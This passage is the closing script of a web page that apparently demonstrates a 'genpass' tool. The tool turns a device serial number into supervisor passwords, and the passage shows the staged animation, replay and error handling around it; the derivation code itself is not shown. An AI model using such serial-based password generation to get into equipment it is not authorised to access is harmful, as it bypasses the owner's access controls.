          renderOutputs(currentState, 0);
          statusHost.textContent = `Stage 3: seed ${currentState.method3.finalSeed} yields the final uppercase/lowercase/digit schedule.`;
          return;
        }

        setStage("output");
        const visibleCount = frameIndex === 3 ? 5 : currentState.method3.output.length;
        renderOutputs(currentState, visibleCount);
        rows.slice(0, visibleCount).forEach((row) => row.classList.add("is-done"));
        liveChips.slice(0, visibleCount).forEach((chip) => chip.classList.add("is-hot"));
        statusHost.textContent = visibleCount === currentState.method3.output.length
          ? `Stage 4: exact supervisor outputs for ${currentState.serial}: ${currentState.method2} / ${currentState.method3.output}`
          : "Stage 4: the Method3 schedule resolves into safe output characters.";
      }

      function update(serial, frameIndex = 4) {
        currentState = computeState(serial);
        renderState(currentState);
        applyCaptureFrame(frameIndex);
        return currentState;
      }

      function sleep(ms) {
        return new Promise((resolve) => window.setTimeout(resolve, ms));
      }

      async function replay() {
        if (!currentState) return;

        activeRun += 1;
        const runId = activeRun;
        const delay = prefersReducedMotion ? 0 : 220;

        replayButton.disabled = true;
        replayButton.textContent = "Running...";

        applyCaptureFrame(0);
        if (delay) await sleep(delay);
        if (runId !== activeRun) return;

        applyCaptureFrame(1);
        if (delay) await sleep(delay);
        if (runId !== activeRun) return;

        applyCaptureFrame(2);
        if (delay) await sleep(delay);
        if (runId !== activeRun) return;

        setStage("output");
        clearHotStates();
        renderState(currentState);
        const rows = Array.from(slotHost.children);
        const liveChips = Array.from(livePasswordHost.children);
        renderOutputs(currentState, 0);
        statusHost.textContent = "Stage 4: the Method3 slots resolve into the final safe output alphabet.";

        for (let index = 0; index < currentState.method3.output.length; index += 1) {
          if (runId !== activeRun) return;
          rows[index]?.classList.add("is-hot", "is-done");
          liveChips[index].textContent = currentState.method3.output[index];
          liveChips[index].classList.add("is-hot");
          if (delay) await sleep(delay);
          liveChips[index].classList.remove("is-hot");
          rows[index]?.classList.remove("is-hot");
        }

        applyCaptureFrame(4);
        replayButton.disabled = false;
        replayButton.textContent = "Replay Method3";
      }

      function handleGenerate(event) {
        if (event) event.preventDefault();
        activeRun += 1;
        replayButton.disabled = false;
        replayButton.textContent = "Replay Method3";

        try {
          const serial = serialInput.value.trim();
          update(serial, 4);
        } catch (error) {
          clearHotStates();
          setStage("validate");
          livePasswordHost.replaceChildren(...Array.from({ length: 10 }, () => createLiveChip("·")));
          oldOutputHost.textContent = "Invalid serial";
          newOutputHost.textContent = "Invalid serial";
          statusHost.textContent = error.message;
        }
      }

      form.addEventListener("submit", handleGenerate);
      generateButton.addEventListener("click", handleGenerate);
      replayButton.addEventListener("click", async () => {
        handleGenerate();
        if (currentState) {
          await replay();
        }
      });

      update(sampleSerial, 4);

      const observer = new IntersectionObserver((entries) => {
        entries.forEach((entry) => {
          if (entry.isIntersecting) {
            observer.disconnect();
            replay();
          }
        });
      }, { threshold: 0.45 });

      observer.observe(demo);

      window.__genpassDemo = {
        generate(serial = serialInput.value.trim()) {
          serialInput.value = serial;
          return update(serial, 4);
        },
        setCaptureFrame(frameIndex = 4) {
          applyCaptureFrame(frameIndex);
        },
        replay
      };
    })();
  </script>
</body>
</html>